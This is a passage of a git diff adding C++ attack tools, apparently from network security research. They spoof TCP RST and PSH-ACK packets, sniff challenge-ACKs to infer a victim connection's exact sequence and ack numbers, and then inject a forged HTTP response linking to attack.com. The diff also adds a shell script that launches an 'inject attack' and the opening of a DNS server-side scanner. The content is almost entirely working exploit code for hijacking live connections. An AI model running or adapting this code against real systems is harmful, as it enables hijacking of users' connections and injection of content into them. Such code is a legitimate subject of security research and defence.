i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int inject_junk(long exact_seq, long in_win_ack) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);;
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
|
||||||
|
tcp.set_flag(TCP::PSH, 1);
|
||||||
|
tcp.set_flag(TCP::ACK, 1);
|
||||||
|
tcp.seq(exact_seq);
|
||||||
|
tcp.ack_seq(in_win_ack);
|
||||||
|
|
||||||
|
print_divider(2);
|
||||||
|
cout << "attempting to inject garbage into the connection..\n";
|
||||||
|
cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
|
||||||
|
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Send the same probe a number of times
|
||||||
|
// to see if the same amount of responses are
|
||||||
|
// triggered from the client
|
||||||
|
//
|
||||||
|
bool rechack(long seq, long ack, int num_checks) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
count_chacks = true;
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
|
||||||
|
if (ack == 0) {
|
||||||
|
tcp.set_flag(TCP::RST, 1);
|
||||||
|
} else {
|
||||||
|
tcp.set_flag(TCP::PSH, 1);
|
||||||
|
tcp.set_flag(TCP::ACK, 1);
|
||||||
|
tcp.ack_seq(ack);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
tcp.seq(seq);
|
||||||
|
chack_count = 0;
|
||||||
|
int count = 0;
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
while (count < num_checks) {
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
|
||||||
|
count ++;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000);
|
||||||
|
|
||||||
|
// should have just sniffed as many chacks as we just sent
|
||||||
|
cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
|
||||||
|
|
||||||
|
if (chack_count >= num_checks) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
count_chacks = false;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Use the fact the client will respond to empty PSH-ACKs
|
||||||
|
// that have an in window ack AND a sequence number less than the exact
|
||||||
|
// next expected sequence, with chall-acks to infer exact sequence num
|
||||||
|
//
|
||||||
|
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
|
||||||
|
tcp.set_flag(TCP::PSH, 1);
|
||||||
|
tcp.set_flag(TCP::ACK, 1);
|
||||||
|
tcp.ack_seq(in_win_ack);
|
||||||
|
|
||||||
|
count_chacks = false;
|
||||||
|
track_nums = false;
|
||||||
|
|
||||||
|
long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
|
||||||
|
sniffed_chack = false;
|
||||||
|
long curr_seq = in_win_seq;
|
||||||
|
|
||||||
|
// Continually decrement the in window sequence number
|
||||||
|
// until we sniff a chack which means we just passed the
|
||||||
|
// left edge of the sequence window
|
||||||
|
//
|
||||||
|
print_divider(1);
|
||||||
|
bool is_found = false;
|
||||||
|
|
||||||
|
while (!is_found) {
|
||||||
|
|
||||||
|
long j = curr_seq;
|
||||||
|
sniffed_chack = false;
|
||||||
|
|
||||||
|
while (j > min_seq && !sniffed_chack) {
|
||||||
|
usleep(send_delay);
|
||||||
|
cout << "spoofing with seq: " << j << "\n";
|
||||||
|
|
||||||
|
tcp.seq(j);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
j -= 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(100000);
|
||||||
|
curr_seq = best_seq;
|
||||||
|
cout << "best seq at end of exact scan: " << curr_seq << "\n";
|
||||||
|
|
||||||
|
print_divider(1);
|
||||||
|
is_found = rechack(curr_seq, in_win_ack, 2);
|
||||||
|
if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return curr_seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Use the fact the client will respond to empty PSH-ACKs
|
||||||
|
// that have an in window sequence number AND ack number less than the
|
||||||
|
// ack number in use with chall-acks to infer an in-window ack number
|
||||||
|
//
|
||||||
|
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
// Loop over ack space sending empty push-acks
|
||||||
|
// that user the in window sequence number found before
|
||||||
|
//
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::PSH, 1);
|
||||||
|
tcp.set_flag(TCP::ACK, 1);
|
||||||
|
tcp.seq(in_win_seq);
|
||||||
|
|
||||||
|
sniffed_chack = false;
|
||||||
|
chack_count = 0;
|
||||||
|
count_chacks = true;
|
||||||
|
track_nums = true;
|
||||||
|
|
||||||
|
current_min_ack = min_ack;
|
||||||
|
long j = max_ack;
|
||||||
|
long current_ack = 0;
|
||||||
|
best_ack = 0;
|
||||||
|
|
||||||
|
|
||||||
|
while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
|
||||||
|
usleep(send_delay);
|
||||||
|
|
||||||
|
tcp.ack_seq(j);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
|
||||||
|
if (verbose && show) cout << "spoofing with ack: " << j << "\n";
|
||||||
|
|
||||||
|
if (j < 100000000) { // for tiny ack range
|
||||||
|
j -= block_size / 100;
|
||||||
|
|
||||||
|
} else {
|
||||||
|
j -= block_size;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(100000);
|
||||||
|
|
||||||
|
|
||||||
|
for (int i = 0; i < possible_acks.size(); i ++) {
|
||||||
|
long cack = possible_acks[i];
|
||||||
|
if (cack > current_ack) current_ack = cack;
|
||||||
|
|
||||||
|
}
|
||||||
|
cout << "best ack at end of ack scan: " << current_ack << "\n";
|
||||||
|
track_nums = false;
|
||||||
|
|
||||||
|
return current_ack;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finds the "quiet" portion of the ack range to
|
||||||
|
// start scanning and then begins to find an approx
|
||||||
|
// ack block close to the one being used
|
||||||
|
//
|
||||||
|
long quack_spread(long in_win_seq) {
|
||||||
|
|
||||||
|
cout << "starting quack spread w seq: " << in_win_seq << "\n";
|
||||||
|
|
||||||
|
long start_ack_guess = 4294967294 / 2;
|
||||||
|
long end_ack_guess = 100;
|
||||||
|
|
||||||
|
long block_size = 100000000;
|
||||||
|
sniffed_chack = false; // assume its gonna find an ack here first
|
||||||
|
|
||||||
|
|
||||||
|
// if the actual ack is less than half of the max_ack allowed,
|
||||||
|
// then it will consider acks at the very top end of the ack space (~429.....)
|
||||||
|
// to be less than that small ack. therefore, we check if the max ack
|
||||||
|
// triggers chacks right away, if so then we half the start_ack guess (~214....)
|
||||||
|
|
||||||
|
|
||||||
|
bool triggering = rechack(in_win_seq, start_ack_guess, 3);
|
||||||
|
|
||||||
|
cout << "is ack in upper half? " << triggering << "\n";
|
||||||
|
|
||||||
|
if (triggering) { // then we know the ack is in the lower half of the ack space
|
||||||
|
start_ack_guess = start_ack_guess * 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
long j = start_ack_guess;
|
||||||
|
sniffed_chack = false;
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
// Now continually decrement ack until we trigger another chack
|
||||||
|
//
|
||||||
|
|
||||||
|
int send_delay = 75000;
|
||||||
|
bool is_found = false;
|
||||||
|
long current_ack = 0;
|
||||||
|
|
||||||
|
while (!is_found) {
|
||||||
|
|
||||||
|
current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
|
||||||
|
|
||||||
|
cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
// recheck and send multiple to make sure we found correct ack block
|
||||||
|
is_found = rechack(in_win_seq, current_ack, 2);
|
||||||
|
if (show) cout << "was in win after rechack? " << is_found << "\n";
|
||||||
|
|
||||||
|
if (!is_found) start_ack_guess = current_ack;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return current_ack;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the fact the client will respond to RSTs
|
||||||
|
// with an in-window sequence number with chall-acks to
|
||||||
|
// infer an in-window seq number
|
||||||
|
//
|
||||||
|
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
long max_seq = top_seq;
|
||||||
|
long adder = prev_block_size * delay_mult;
|
||||||
|
|
||||||
|
cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::RST, 1);
|
||||||
|
|
||||||
|
long i;
|
||||||
|
|
||||||
|
for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
|
||||||
|
tcp.seq(i);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
usleep(send_delay);
|
||||||
|
}
|
||||||
|
|
||||||
|
cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
|
||||||
|
|
||||||
|
return best_seq;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Attempt to sniff challenge acks while recording
|
||||||
|
// the last sequence or ack number we spoofed
|
||||||
|
//
|
||||||
|
bool handle_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>();
|
||||||
|
|
||||||
|
if (ack_search) {
|
||||||
|
// keep track of the last ack num we spoofed
|
||||||
|
if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
|
||||||
|
|
||||||
|
if (ip.src_addr() == victim_wlan_addr) {
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
//cout << payload << "\n";
|
||||||
|
|
||||||
|
if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
|
||||||
|
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
|
||||||
|
if (count_chacks) chack_count += 1;
|
||||||
|
if (track_nums) possible_acks.push_back(current_spoof_ack);
|
||||||
|
if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
|
||||||
|
sniffed_chack = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} else if (sniff_request == 1) {
|
||||||
|
// sniffing for a certain client request size (last step after finding seq and ack)
|
||||||
|
if (ip.src_addr() == victim_wlan_addr) {
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
cout << "sniffed cli request of size " << payload << "\n";
|
||||||
|
if (payload == request_size) {
|
||||||
|
sniff_request = 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} else { // sniffing for chack during sequence search
|
||||||
|
|
||||||
|
// keep track of the last sequence num we spoofed
|
||||||
|
if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
|
||||||
|
|
||||||
|
if (ip.src_addr() == victim_wlan_addr) {
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
//cout << payload << "\n";
|
||||||
|
const int remainder = payload % 67;
|
||||||
|
|
||||||
|
if (payload == 79) {
|
||||||
|
|
||||||
|
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
|
||||||
|
|
||||||
|
if (track_nums) {
|
||||||
|
best_seq = current_spoof_seq;
|
||||||
|
possible_seqs.push_back(current_spoof_seq);
|
||||||
|
} else if (count_chacks) { //
|
||||||
|
chack_count += 1;
|
||||||
|
best_seq = current_spoof_seq;
|
||||||
|
} else {
|
||||||
|
if (!sniffed_chack) {
|
||||||
|
|
||||||
|
if (best_seq == 0) { // still in initial seq spread
|
||||||
|
best_seq = current_spoof_seq;
|
||||||
|
sniffed_chack = true;
|
||||||
|
} else {
|
||||||
|
// make sure new seq is less than the previous sniffed one
|
||||||
|
if (current_spoof_seq < best_seq) {
|
||||||
|
best_seq = current_spoof_seq;
|
||||||
|
sniffed_chack = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sniff_stuff() {
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
Sniffer sniffer("wlp1s0", config);
|
||||||
|
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Try to find an in window sequence number using
|
||||||
|
// one of the very rough estimates found in the first
|
||||||
|
// sequence spread
|
||||||
|
long try_seq_block(long current_seq) {
|
||||||
|
|
||||||
|
// Just did round 1 spoofing fast to get rough estimate of
|
||||||
|
// in window sequence number, now we send a round 2 and 3 spreads
|
||||||
|
// using the approximated seq with lower send rates
|
||||||
|
|
||||||
|
current_round = 2;
|
||||||
|
sniffed_chack = false;
|
||||||
|
int wait_count = 0;
|
||||||
|
best_seq = current_seq;
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
// this will take into account the last block size of 50k,
|
||||||
|
// skip in blocks of 1055 seq nums per send, assume the last
|
||||||
|
// rounds delay was 80 packets for a response, and send every 150 msecs
|
||||||
|
long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
|
||||||
|
|
||||||
|
while (best_seq == current_seq) {
|
||||||
|
usleep(500000);
|
||||||
|
if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
|
||||||
|
wait_count +=1;
|
||||||
|
if (wait_count > 5) return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now we should have a close estimate to an in-window seq
|
||||||
|
// so next do a third scan at much slower rate to ensure its
|
||||||
|
// an in-window sequence num
|
||||||
|
print_divider(1);
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
sniffed_chack = false;
|
||||||
|
current_round += 1;
|
||||||
|
current_seq = best_seq;
|
||||||
|
wait_count = 0;
|
||||||
|
|
||||||
|
long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
|
||||||
|
|
||||||
|
while (best_seq == current_seq) {
|
||||||
|
usleep(500000);
|
||||||
|
if (show) cout << "waiting on round 3 chack..\n";
|
||||||
|
wait_count +=1;
|
||||||
|
if (wait_count > 5) return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return best_seq - 10000; // subtract 10k for wifi delay
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// Gets rough estimate of sequence number in use
|
||||||
|
// by spreading entire sequence range quicly then
|
||||||
|
// tries to find in win sequence using each
|
||||||
|
//
|
||||||
|
long find_in_win_seq() {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("wlp1s0");
|
||||||
|
|
||||||
|
long start_seq_guess = 1;
|
||||||
|
long max_seq_num = 4294967295;
|
||||||
|
track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
|
||||||
|
|
||||||
|
cout << "spreading the connections entire sequence number range...\n";
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.set_flag(TCP::RST, 1);
|
||||||
|
|
||||||
|
long i;
|
||||||
|
|
||||||
|
for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
|
||||||
|
tcp.seq(i);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
num_sent ++;
|
||||||
|
usleep(10);
|
||||||
|
}
|
||||||
|
usleep(1000000);
|
||||||
|
cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
|
||||||
|
|
||||||
|
track_nums = false;
|
||||||
|
int j = 0;
|
||||||
|
long in_win_seq = -1;
|
||||||
|
|
||||||
|
while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
|
||||||
|
print_divider(1);
|
||||||
|
current_round = 0;
|
||||||
|
if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
|
||||||
|
in_win_seq = try_seq_block(possible_seqs[j]);
|
||||||
|
j ++;
|
||||||
|
if (show) cout << "in win seq after try? " << in_win_seq << "\n";
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
possible_seqs.clear();
|
||||||
|
track_nums = false;
|
||||||
|
|
||||||
|
print_divider(1);
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
return best_seq;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Send two spoof rounds while increasing the send delay and
|
||||||
|
// decreasing block size to quickly get in-win ack estimate
|
||||||
|
//
|
||||||
|
long find_in_win_ack(long in_win_seq) {
|
||||||
|
|
||||||
|
// quack should be below current ack in use but we only rechack once first round
|
||||||
|
ack_search = true;
|
||||||
|
long quack = quack_spread(in_win_seq);
|
||||||
|
|
||||||
|
// Spoof empty PSH-ACKs starting at 'quack' plus some send delay
|
||||||
|
// until we sniff a chack and know we just went below the left
|
||||||
|
// edge of the ack window
|
||||||
|
usleep(1000000);
|
||||||
|
print_divider(1);
|
||||||
|
possible_acks.clear();
|
||||||
|
|
||||||
|
long block_size = 10000;
|
||||||
|
int send_delay = 500;
|
||||||
|
long max_ack = quack + (1 * 100000000);
|
||||||
|
long min_ack = quack;
|
||||||
|
long clack;
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
|
||||||
|
while (!is_found) { // retry ack scan until we find block triggering chacks
|
||||||
|
|
||||||
|
cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
|
||||||
|
clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
|
||||||
|
|
||||||
|
is_found = rechack(in_win_seq, clack, 2);
|
||||||
|
if (show) cout << "was in win after rechack? " << is_found << "\n";
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
while (!is_found && i < possible_acks.size()) {
|
||||||
|
long some_ack = possible_acks[i];
|
||||||
|
if (show) cout << "finished ack scan 1 w possible in window ack: " << some_ack << "\n";
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
is_found = rechack(in_win_seq, some_ack, 2);
|
||||||
|
if (show) cout << "was in win after rechack? " << is_found << "\n";
|
||||||
|
i ++;
|
||||||
|
if (is_found) clack = some_ack;
|
||||||
|
|
||||||
|
}
|
||||||
|
max_ack = clack;
|
||||||
|
}
|
||||||
|
|
||||||
|
possible_acks.clear();
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
|
||||||
|
// clack should be an in window ack so now we have both in window
|
||||||
|
// sequence and in window ack numbers.
|
||||||
|
//
|
||||||
|
ack_search = false;
|
||||||
|
track_nums = false;
|
||||||
|
|
||||||
|
// clack has been consistently within 40k of next ack while testing but
|
||||||
|
// in practical use it needs to be less than the expected ack by at most
|
||||||
|
// 20k to be accepted as a valid ack, so here we add 20k to counter our delay
|
||||||
|
// but we could add a third ack scan to make it more accurate
|
||||||
|
//
|
||||||
|
long in_win_ack = clack + 30000; // adding extra 30k for wifi delay
|
||||||
|
return in_win_ack;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// After we've found exact seq and in-win ack, attacker waits
|
||||||
|
// for a specific request size to inject the response into
|
||||||
|
//
|
||||||
|
int wait_for_request(long exact_seq, long in_win_ack) {
|
||||||
|
sniff_request = 1;
|
||||||
|
int res = 0;
|
||||||
|
|
||||||
|
while (sniff_request != 2) {
|
||||||
|
usleep(500000);
|
||||||
|
if (show) cout << "waiting for request of size..\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(show) cout << "Sniffed request packet to respond to\n";
|
||||||
|
|
||||||
|
res = inject_junk(exact_seq, in_win_ack);
|
||||||
|
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt to infer the exact sequence number
|
||||||
|
// and in-window ack in use by the connection
|
||||||
|
//
|
||||||
|
int phase_three_spread() {
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
long in_win_seq = 0;
|
||||||
|
|
||||||
|
// Loop until we find in window seq
|
||||||
|
while (!is_found) {
|
||||||
|
in_win_seq = find_in_win_seq();
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
is_found = rechack(in_win_seq, 0, 2);
|
||||||
|
cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
|
||||||
|
if (!is_found) usleep(1000000 / 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
// At this point we should have an in-window sequence number and
|
||||||
|
// next step is to find an in-window ack number for the connection
|
||||||
|
//
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
|
||||||
|
long in_win_ack = find_in_win_ack(in_win_seq);
|
||||||
|
in_win_ack += 40000; // add 40k for wifi delay
|
||||||
|
|
||||||
|
cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
|
||||||
|
|
||||||
|
// jump back 40 for wifi delay
|
||||||
|
long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
|
||||||
|
cout << "final exact seq guess: " << exact_seq << "\n";
|
||||||
|
cout << "total number of packets sent: " << num_sent << "\n";
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
int res = 0;
|
||||||
|
|
||||||
|
if (testing) { // for netcat
|
||||||
|
res = inject_junk(exact_seq, in_win_ack);
|
||||||
|
} else { // for normal http injection
|
||||||
|
cout << "waiting for client to request any page within inferred connection...";
|
||||||
|
res = wait_for_request(exact_seq, in_win_ack);
|
||||||
|
}
|
||||||
|
|
||||||
|
return res;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
if (argc != 8) {
|
||||||
|
cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
remote_addr = argv[1];
|
||||||
|
sport = atoi(argv[2]);
|
||||||
|
victim_wlan_addr = argv[3];
|
||||||
|
dest_ip = argv[4];
|
||||||
|
dest_mac = argv[5];
|
||||||
|
dport = atoi(argv[6]);
|
||||||
|
request_size = atoi(argv[7]);
|
||||||
|
|
||||||
|
thread sniff_thread(sniff_stuff);
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
int r = phase_three_spread();
|
||||||
|
|
||||||
|
sniff_thread.detach();
|
||||||
|
//sniff_thread.join();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
2
server-side-attack/dns-sside/full_scan/Makefile
Normal file
2
server-side-attack/dns-sside/full_scan/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11
|
12
server-side-attack/dns-sside/full_scan/inject_test.sh
Normal file
12
server-side-attack/dns-sside/full_scan/inject_test.sh
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
#/bin/bash
|
||||||
|
#
|
||||||
|
|
||||||
|
NOW=$(date '+%F %T')
|
||||||
|
printf "\n\nStarting inject attack at $NOW\n"
|
||||||
|
|
||||||
|
|
||||||
|
sudo ./uud_send 192.168.3.2 53 192.168.2.2 32000 62000
|
||||||
|
|
||||||
|
|
||||||
|
NOW=$(date '+%F %T')
|
||||||
|
printf "\n\nFinished inject attack at $NOW\n"
|
619
server-side-attack/dns-sside/full_scan/send.cpp
Normal file
619
server-side-attack/dns-sside/full_scan/send.cpp
Normal file
@ -0,0 +1,619 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::string;
|
||||||
|
using std::vector;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
|
||||||
|
bool is_running = true;
|
||||||
|
bool verbose = false;
|
||||||
|
bool count_resp = false;
|
||||||
|
|
||||||
|
|
||||||
|
bool scanning = false;
|
||||||
|
bool injecting = false;
|
||||||
|
bool sniffed_resp = false;
|
||||||
|
string dest_ip;
|
||||||
|
string source_ip;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void print_start() {
|
||||||
|
cout << "meep\n";
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
cout << "meep\n";
|
||||||
|
usleep(1000000 /2);
|
||||||
|
cout << R"(
|
||||||
|
|
||||||
|
__
|
||||||
|
/ \ __
|
||||||
|
.---. _ / / _.~ \
|
||||||
|
\ `. / \ / /.-~ __/
|
||||||
|
`\ \ | | |/ .-~ __
|
||||||
|
\ \ | | | .'--~~ \
|
||||||
|
\ \ | | ` ' _______/
|
||||||
|
\ \ | ` /
|
||||||
|
.--. \ \ | ` /
|
||||||
|
\ `.\ \ \ /
|
||||||
|
`\ \ \ `\ (
|
||||||
|
\ \ \ > ,-.-.
|
||||||
|
\ `. \ / | \ \
|
||||||
|
\ . \ /___| O |O\ ,
|
||||||
|
.-. \ ; | /` `^-.\.-'`--'/
|
||||||
|
\ `; | | /
|
||||||
|
`\ \ | `. `--..____,'
|
||||||
|
\ `. | `._ _.-'^
|
||||||
|
\ . / `|`|`
|
||||||
|
.-.\ / | |
|
||||||
|
\ `\ / | |
|
||||||
|
`\ ` | | |
|
||||||
|
\ | | |
|
||||||
|
.-. | | |
|
||||||
|
\ `. \ | |
|
||||||
|
`\ \ | |
|
||||||
|
\ \ | |
|
||||||
|
\_____ :-'~~~~~'-' ;
|
||||||
|
/____;``-. :
|
||||||
|
<____( `. ;
|
||||||
|
\___\ ; .'
|
||||||
|
/``--'~___.-'
|
||||||
|
/\___/^/__/
|
||||||
|
/ /' /`/'
|
||||||
|
\ \ `\ \
|
||||||
|
`\ \ \ \
|
||||||
|
\ \ \ \
|
||||||
|
\ \ \ \
|
||||||
|
\ \ \ \ ______
|
||||||
|
\ \ ___\ \'~``______)>
|
||||||
|
\ \___ _______ __)>
|
||||||
|
_____\ \'~``______)>
|
||||||
|
<(_______.._______)>
|
||||||
|
|
||||||
|
|
||||||
|
)";
|
||||||
|
usleep(1000000);
|
||||||
|
|
||||||
|
}
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void print_time() {
|
||||||
|
int res = system("date");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// Used by thread to keep track of last port
|
||||||
|
// we spoofed to
|
||||||
|
//
|
||||||
|
bool handle_send_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
|
||||||
|
if (ip.src_addr() == source_ip) current_spoof_port = some_pdu.rfind_pdu<UDP>().dport();
|
||||||
|
|
||||||
|
return is_running;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
